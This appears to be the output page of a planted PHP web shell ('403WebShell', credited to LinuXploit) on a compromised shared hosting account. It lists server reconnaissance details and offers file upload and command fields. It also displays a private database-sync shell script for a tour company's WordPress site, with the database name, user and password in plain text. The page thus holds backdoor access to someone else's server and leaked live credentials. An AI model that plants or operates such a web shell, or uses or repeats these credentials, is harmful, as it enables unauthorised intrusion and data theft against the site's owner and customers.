Uname:Linux sxb1plmcpnl510317.prod.sxb1.secureserver.net 4.18.0-553.141.2.lve.el8.x86_64 #1 SMP Wed Jul 8 16:10:02 UTC 2026 x86_64

403WebShell
403Webshell
Server IP : 92.204.28.36  /  Your IP : 216.73.217.69
Web Server : Apache
System : Linux sxb1plmcpnl510317.prod.sxb1.secureserver.net 4.18.0-553.141.2.lve.el8.x86_64 #1 SMP Wed Jul 8 16:10:02 UTC 2026 x86_64
User : f981716tud7w ( 9071646)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/f981716tud7w/www/useful/dlt/old/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/f981716tud7w/www/useful/dlt/old/dlt-dev-db-update.sh
#!/bin/bash
# Export live database with --add-drop-table for safety

TIMESTAMP=$(date +%Y%m%d%H%M%S)

DB_NAME="dlt_db_dev"
DB_USER="dlt_dbu_dev"
DB_PASS="8mkQ&!g7?yPR"
USEFUL_DIR="/home/f981716tud7w/www/useful/dlt"
LIVE_DOMAIN="https://www.dragonloretours.com"
UPD_DOMAIN="https://dev.dragonloretours.com"

mysqldump -u$DB_USER -p$DB_PASS --add-drop-table $DB_NAME > $USEFUL_DIR/db_live_dump-$TIMESTAMP.sql

# Import SQL dump into staging database (existing tables dropped automatically)
mysql -u$DB_USER -p$DB_PASS $DB_NAME < $USEFUL_DIR/db_live_dump-$TIMESTAMP.sql

mysql -u$DB_USER -p$DB_PASS $DB_NAME <<EOF
UPDATE wp_options
SET option_value = '$UPD_DOMAIN'
WHERE option_name IN ('siteurl', 'home');
UPDATE wp_options
SET option_value = REPLACE(option_value, '$LIVE_DOMAIN', '$UPD_DOMAIN')
WHERE option_value LIKE '%$LIVE_DOMAIN%';
EOF




Youez - 2016 - github.com/yon3zu
LinuXploit